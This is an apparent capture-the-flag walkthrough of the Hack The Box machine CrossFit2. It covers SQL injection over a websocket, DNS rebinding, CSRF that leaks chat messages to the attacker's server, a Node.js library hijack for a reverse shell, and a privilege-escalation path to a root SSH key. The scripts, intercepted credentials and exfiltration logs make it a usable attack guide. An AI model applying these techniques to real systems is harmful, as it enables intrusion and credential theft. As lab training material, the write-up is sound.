Within the login page is a link to “Forgot Password?”. It rejects unregistered email addresses. This might be something to work on later in the machine:
Going back to the main site (10.10.10.232 or crossfit.htb) then running gobuster to look for other directories or files that weren’t previously seen. Non-existent pages are tagged as 403 (Forbidden) so I filtered them out during this run:
Creating a simple python script to check if /ws is a websocket and if it’s possible to connect:
import asyncioimport json as jimport websockets as wsasyncdefrequest(target,message):asyncwith ws.connect(target)as websocket: req =await websocket.send(message) res =await websocket.recv()return j.loads(res)defmain(): target ="ws://crossfit.htb/ws" message =input("> ") res = asyncio.get_event_loop().run_until_complete(request(target, message))print(j.dumps(res,indent=4))if__name__=="__main__":main()
Running this script to check how the server will respond:
$python3ws.py>something {"status":"200","message":"Hello! This is Arnold, your assistant. Type 'help' to see available commands.","token":"b5cb1143b0c81267c82042790efd1daf0f5c0fe95837dfac3c2b75dcea4f7b1c" }$python3ws.py>help {"status":"200","message":"Hello! This is Arnold, your assistant. Type 'help' to see available commands.","token":"c28f5c5760ca525ad42c7b092dcf7526441b403769e6f0cca622c5774631a610" }
The server is actually running a websocket on /ws. There is a token and it seems like in order to submit an actual command like “help”, a valid token is required so I modified the script to take the token generated from an initial request to check for reuse and pass it along with the submitted command:
import asyncioimport json as jimport websockets as wsasyncdefrequest(target,message):asyncwith ws.connect(target)as websocket: req =await websocket.send("init") token = j.loads(await websocket.recv())["token"] req_json = j.dumps({"message": message,"token": token }) req =await websocket.send(req_json) res =await websocket.recv()return j.loads(res)defmain(): target ="ws://crossfit.htb/ws" message =input("> ") res = asyncio.get_event_loop().run_until_complete(request(target, message))print(j.dumps(res,indent=4))if__name__=="__main__":main()
Running the script again to check if token is valid:
The reused token was able to send commands to the websocket and there are three available commands listed when sending “help” -- coaches, classes, and memberships. Showing the output of each command:
$python3ws.py>coaches {"status":"200", "message": "Meet our amazing coaches!<br><br><img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img> Will Smith<br><code>2017 World CrossFit Champion</code><br><br><img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img> Maria Williams<br><code>2018 Fitness Guru of the year</code><br><br><img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img> Jack Parker<br><code>2019 IronMan Champion</code><br><br>",
"token":"ceca672d45c970472a71d831bc5f49417e7e22c831095b34f25b40e7a949d800" }$python3ws.py>classes {"status":"200", "message": "Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>- CrossFit (Level 1 and 2)<br>- Fitness (Body and Mind)<br>- Climbing (Bouldering and Free)<br>- Cardio (Marathon training)<br>- Stretching (Isometric)<br>- Weight Lifting (Body Building, Power Lifting)<br>- Yoga (Power, Hatha, Kundalini)<br>- Nutrition (Customized meal plans)<br>- TRX (Suspension training)<br>",
"token":"b0d8cd3f20d9bac4e251ee239324fee784a58546a04f622a931661dbb61cb272" }$python3ws.py>memberships {"status":"200", "message": "Check the availability of our membership plans with a simple click!<br><br><b>1-month ($99.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br><b>3-months ($129.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br><b>6-months ($189.99 <del>$209.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br><b>1-year ($859.99 <del>$899.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>",
"token":"7099d83fd04e2a053f595492a89c48837a3c8f92360801f23537ea5d1203086d" }
Showing the messages in beautified format:
<!-- coaches -->
Meet our amazing coaches!<br><br>
<img height=40 src='/img/team/member-1.jpg' class='thumbnail'></img>Will Smith<br>
<code>2017 World CrossFit Champion</code><br><br>
<img height=40 src='/img/team/member-2.jpg' class='thumbnail'></img>Maria Williams<br>
<code>2018 Fitness Guru of the year</code><br><br>
<img height=40 src='/img/team/member-3.jpg' class='thumbnail'></img>Jack Parker<br>
<code>2019 IronMan Champion</code><br><br>
<!-- classes -->
Come see us and try one of our available classes for free! Our selection of amazing activities includes:<br><br>
- CrossFit (Level 1 and 2)<br>
- Fitness (Body and Mind)<br>
- Climbing (Bouldering and Free)<br>
- Cardio (Marathon training)<br>
- Stretching (Isometric)<br>
- Weight Lifting (Body Building, Power Lifting)<br>
- Yoga (Power, Hatha, Kundalini)<br>
- Nutrition (Customized meal plans)<br>
- TRX (Suspension training)<br>
<!-- memberships -->
Check the availability of our membership plans with a simple click!<br><br>
<b>1-month ($99.99)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br>
<b>3-months ($129.99)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br>
<b>6-months ($189.99 <del>$209.99</del>)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br>
<b>1-year ($859.99 <del>$899.99</del>)<b><br>
<button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>
3.2 FUZZING COMMANDS
Nothing is usable as of the moment and after fuzzing what other commands might turn out something from the websocket, I eventually tried “availability” and “available”. The first one didn’t turn out anything but the latter generated a possibly good lead. This might be related to the check_availability() function as seen from the output from memberships. A parameter, id, is required and was stated to be undefined in the output and the value of which must be either one from 1-4:
$python3ws.py>available {"status":"200","message":"I'm sorry, this membership plan is currently unavailable.","token":"02e5580f54dc0b5159c27cd13726659a4040e6e4cc1278b2da417d3ad218c8eb","debug":"[id: undefined]" }
Passing the parameter, id, simply as a field in the JSON payload, it should be done through a parameter called, “params”. The updated python script now looks like this:
import asyncioimport json as jimport websockets as wsasyncdefrequest(target):asyncwith ws.connect(target)as websocket: req =await websocket.send("init") token = j.loads(await websocket.recv())["token"] req_json = j.dumps({"message": "available","params": 1,"token": token }) req =await websocket.send(req_json) res =await websocket.recv()return j.loads(res)defmain(): target ="ws://crossfit.htb/ws" res = asyncio.get_event_loop().run_until_complete(request(target))print(j.dumps(res,indent=4))if__name__=="__main__":main()
And after running the script above:
$python3ws.py {"status":"200","message":"Good news! This membership plan is available.","token":"4b28241ea564cbc78c1fdd9fdd1cd20b968da1ca69e5206eb0fe98a18235feca","debug":"[id: 1, name: 1-month]" }
3.3 SQLi OVER WEBSOCKETS
The parameter, id, is usually tested for SQL Injection vulnerabilities. It should be fairly easy, but in this case, it will be passed through a websocket that needs a valid token in order to check for exploitability. I came across this articlewhich provides information on how to be able to run sqlmap over a websocket. The goal is to locally start a web server that will take the output from the websocket into a locally hosted page. This will essentially serve as a middleware for sqlmap and the websocket.
I modified my python script for the final time. This will start a web server on port 6969 where it will take values through a GET parameter, id, and pass it to the websocket on 10.10.10.232/ws. The response of the websocket will then be written in the response body of the local server:
The table, employees.employees, contains the usernames and password hashes of all users. However, none of which are crackable:
Now that valid emails are found, we can now issue a password reset:
Which then responds with “Reset link sent, please check your email.”
A reset token is indeed saved in the employees.password_reset table but it seems that it is deleted once the password reset link has been “clicked”. Given that the SQL Injection vulnerability is boolean-based blind, the exact value of the token can’t be extracted in one go and takes quite some time to fully extract. The race condition seems impossible based on the current parameters given.
3.4 VHOST ENUMERATION
What else can be done with the SQL injection vulnerability is to read files from the server:
While the contents of /etc/relayd.conf reveals that there is another domain, “crossfit-club.htb”. What is interesting here is that both crossfit-club.htb and employees.crossfit.htb are prefixed with a wildcard (*) and all connections are routed to localhost:
Then, looking at the contents of http://crossfit-club.htb, it leads you to a sign-in page and trying to navigate to /home or /chat redirects you back to /login while the sign up functionality is disabled.
3.5 DNS REBINDING
Going back to previous findings, there is an open port for unbound-dns-control. Trying to read its configuration file using the SQL Injection vulnerability earlier:
Editing the unbound configuration that was exfiltrated from the server leaving only the remote-control section and replace the certificate and key files with the absolute path of where they were saved:
Then, check if the unbound server could now be reached:
$unbound-control-cnew_unbound.conf-s10.10.10.232@8953statusversion:1.11.0verbosity:1threads:1modules:2 [ validatoriterator]uptime:10secondsoptions:control(ssl)unbound (pid 54634) is running...
The new unbound config successfully reached the server and this should be enough to perform a DNS rebind and if you recall from what was written in relayd.conf wherein employees.crossfit.htb and crossfit-club.htb are prefixed with a wildcard and are then routed to localhost.
If a new zone is forwarded into the unbound server like fake-employees.crossfit.htb, it should be routed to the same destination as employees.crossfit.htb.
To verify this, a new subdomain, fake-employees.crossfit.htb, will be forwarded using unbound-controlthen start a DNS proxy with dnschef and finally, check if a successful request could be made to the same endpoints of employees.crossfit.htb using fake-employees.crossfit.htb:
An error message is encountered -- “Only local hosts are allowed.” But the remote machine is needed to make a request from our local machine (via the --fakeip option from dnschef).
Maybe this could be done by first requesting a password reset by setting the --fakeip option to 127.0.0.1 after which, cancel the proxy then start a new one at my local IP (10.10.14.28). But first, checking if the password reset will succeed:
The password reset was successfully done using the fake domain and a bash script was then created that will handle the race condition when changing the DNS proxy for this exploit:
The machine then made a request to the web server running on the attacker machine. The machine is looking for /password-reset.php from the local server based on the data intercepted via netcat:
There are a few interesting things here from the intercepted HTTP request. First, a valid token has been leaked. However, when you attempt to use it to reset the password of david.palmer@crossfit.htb, you get the following response -- “We are sorry, but password reset has been temporarily disabled.”:
Another thing is that the referrer of the HTTP request came from http://crossfit-club.htb. Some user that is currently logged in to the service is clicking on the password reset links. This might be an opening for a CSRF (Cross-site Request Forgery) Attack.
3.6 CSRF (password-reset.php)
Looking at the page source of http://crossfit-club.htb, there are a bunch of javascript files embedded:
Reviewing /js/app~748942c6.ead68abe.js, it is apparent that the application was written using VueJS and the interesting thing here are the functions for the chat feature of the service:
[..omitted..]components: { ChatWindow:ye.a},created() {let e =this; xe =Ce.a.connect("http://crossfit-club.htb", { transports: ["polling"] }),window.addEventListener("beforeunload", (function (t) {xe.emit("remove_user", { uid:e.currentUserId }) })),xe.on("disconnect", e => {this.$router.replace("/login") }),xe.emit("user_join", { username:localStorage.getItem("user") }),xe.on("participants", e => { e &&e.length&& (this.rooms[0].users = e,this.renderUsers()) }),xe.on("new_user", e => {e.username ===localStorage.getItem("user") && (this.currentUserId =e._id,console.log(this.currentUserId)) }),xe.on("recv_global", e => {this.addMessage(e) }),xe.on("private_recv", e => {this.addMessage(e) })},[..omitted..]
The xe object seems to be derived from socket.io given that there are emit() and connect() function calls. To add, socket.io is often integrated in VueJS applications when handling messaging features. This could be verified by checking the default path of socket.io:
The application indeed uses socket.io. Since the server now looks for /password-reset.php from the local web server, I can create one with a CSRF payload that will let me join a chat room and intercept the messages sent by other uses when triggered:
Looking back at the started PHP web server, messages inside the chat room are being intercepted:
[Sun Apr 25 11:42:35 2021] 10.10.10.232:13373 [200]: GET /password-reset.php?token=95288bcf0bd115fff72952c3b94c12e03e7fac0c03c5bd8b8421394b8c52718c6b51ab1bbab22b6dbd0dc2b096e03e454d0eb1cbe4f35da1d2bc58889e960042
[..omitted..]
[Sun Apr 25 11:42:36 2021] 10.10.10.232:16369 [404]: GET /favicon.ico - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:04 2021] 10.10.10.232:26839 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22Someone%20built%20a%20working%2016%20bit%20computer%20using%20nothing%20but%20the%20basic%20Minecraft%20building%20blocks.%20I%20wonder%20what%20kind%20warranty%20that%20one%20has?!%22,%22roomId%22:15,%22_id%22:759} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:44 2021] 10.10.10.232:38619 [404]: GET /?x={%22sender_id%22:2,%22content%22:%22Hello%20David,%20I%27ve%20added%20a%20user%20account%20for%20you%20with%20the%20password%20`NWBFcSe3ws4VDhTB`.%22,%22roomId%22:2,%22_id%22:760} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:55 2021] 10.10.10.232:31873 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22I%20wonder%20if%20they%20still%20make%20computers%20that%20ran%20on%20water,%20not%20sure%20is%20the%20best%20idea%20to%20mix%20water%20with%20tech%22,%22roomId%22:15,%22_id%22:762} - No such file or directory
[..omitted..]
One particular message contains credentials for the user, david (password: NWBFcSe3ws4VDhTB):
{
"Sender_id":2,
"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.",
"roomId":2,
"_id":760
}
PART 4 : SHELL AS david
4.1 LOGGING IN AS david
Using the credentials found for the user, david, to login via SSH:
$ sshpass -p NWBFcSe3ws4VDhTB ssh -l david 10.10.10.232
crossfit2:david {1} id
uid=1004(david) gid=1004(david) groups=1004(david), 1003(sysadmins)
crossfit2:david {2} ls -l
total 4
-r-------- 1 david david 33 Feb 2 15:34 user.txt
4.2 GROUP ENUMERATION
The current user, david, is a member of the sysadmins group as well as the user, john, which means that the contents of /opt/sysadmin are shared and writable by both users:
Checking for SUID binaries, there is one executable that can’t be run globally, /usr/local/bin/log, it belongs to the root user and the staff group wherein the user, john, is a member of:
crossfit2$ find / -user root -perm -4000 -type f -ls 2>/dev/null
1425624 52 -r-sr-xr-x 3 root bin 26552 Oct 5 2020 /usr/bin/chfn
1425624 52 -r-sr-xr-x 3 root bin 26552 Oct 5 2020 /usr/bin/chpass
1425624 52 -r-sr-xr-x 3 root bin 26552 Oct 5 2020 /usr/bin/chsh
1425650 56 -r-sr-xr-x 1 root bin 27464 Oct 5 2020 /usr/bin/doas
1425715 60 -r-sr-sr-x 1 root daemon 29936 Oct 5 2020 /usr/bin/lpr
1425716 52 -r-sr-sr-x 1 root daemon 24880 Oct 5 2020 /usr/bin/lprm
1425743 44 -r-sr-xr-x 1 root bin 20936 Oct 5 2020 /usr/bin/passwd
1425809 36 -r-sr-xr-x 1 root bin 17216 Oct 5 2020 /usr/bin/su
1478072 20 -r-sr-xr-x 1 root bin 8880 Oct 5 2020 /usr/libexec/lockspool
1478095 960 -r-sr-xr-x 1 root bin 466608 Oct 5 2020 /usr/libexec/ssh-keysign
1481580 20 -rwsr-s--- 1 root staff 9024 Jan 5 13:04 /usr/local/bin/log
1503426 48 -r-sr-sr-x 2 root authpf 23000 Oct 5 2020 /usr/sbin/authpf
1503426 48 -r-sr-sr-x 2 root authpf 23000 Oct 5 2020 /usr/sbin/authpf-noip
1503506 288 -r-sr-x--- 1 root network 146208 Oct 5 2020 /usr/sbin/pppd
1503559 64 -r-sr-xr-x 2 root bin 32712 Oct 5 2020 /usr/sbin/traceroute
1503559 64 -r-sr-xr-x 2 root bin 32712 Oct 5 2020 /usr/sbin/traceroute6
362927 736 -r-sr-xr-x 2 root bin 356768 Oct 5 2020 /sbin/ping
362927 736 -r-sr-xr-x 2 root bin 356768 Oct 5 2020 /sbin/ping6
362934 576 -r-sr-x--- 1 root operator 275928 Oct 5 2020 /sbin/shutdown
crossfit2$ cat /etc/group | grep staff
staff:*:20:root,john
It seems that pivoting to the user john is needed in order to escalate privileges.
PART 5 : PIVOT (david -> john)
5.1 REVIEWING statbot.js
Examining the contents of /opt/sysadmin, there is a js file called statbot.js:
The contents of which seems to be a logger that checks whether the websocket is up or down :
const WebSocket = require('ws');
const fs = require('fs');
const logger = require('log-to-file');
const ws = new WebSocket("ws://gym.crossfit.htb/ws/");
function log(status, connect) {
var message;
if(status) {
message = `Bot is alive`;
}
else {
if(connect) {
message = `Bot is down (failed to connect)`;
}
else {
message = `Bot is down (failed to receive)`;
}
}
logger(message, '/tmp/chatbot.log');
}
ws.on('error', function err() {
ws.close();
log(false, true);
})
ws.on('message', function message(data) {
data = JSON.parse(data);
try {
if(data.status === "200") {
ws.close()
log(true, false);
}
}
catch(err) {
ws.close()
log(false, false);
}
});
5.2 NODEJS LIBRARY HIJACK
Given that this is in the /opt/sysadmin directory and the current user, david, has write permissions, maybe one of the required libraries by the javascript application could be hijacked.
Another thing to note, based on the generated file by statbot.js, the script seems to run every minute:
crossfit2$ cat /tmp/chatbot.log | tail -n 3
2021.04.25, 16:16:01.0311 UTC -> Bot is alive
2021.04.25, 16:17:01.0319 UTC -> Bot is alive
2021.04.25, 16:18:01.0322 UTC -> Bot is alive
The first thing to do is to create an app.js file which contains a reverse shell that will replace the one on the required library such that the code will execute when statbot.js triggers:
Going back to the netcat listener once statbot.js triggers:
connect to [10.10.14.28] from employees.crossfit.htb [10.10.10.232] 17696
id
uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)
PART 6 : PRIVILEGE ESCALATION
6.1 YUBIKEY ENUMERATION
The executable, /usr/local/bin/log, should now be executable via the user, john:
It can’t read from the root directory but it can read files in from /var. Within /var/db, there is a yubikey directory which contains the config files for generating an OTP (One-Time Password).
How is this relevant? Upon checking the file, /etc/login.conf, authentication via SSH could be done using yubikey:
Since reading from inside the /root directory is prohibited using /usr/local/bin/log, I eventually came across the documentation of changelist for OpenBSD:
For example, the system shell database, /etc/shells, is held as /var/backups/etc_shells.current. When this file is modified, it is renamed to /var/backups/etc_shells.backup and the new version becomes /var/backups/etc_shells.current. Thereafter, these files are rotated.
So if the root SSH private key is backed up from /root/.ssh/idrsa, based on the changelist documentation, it should be in /var/backups/root.ssh_id_rsa.current. Verifying this: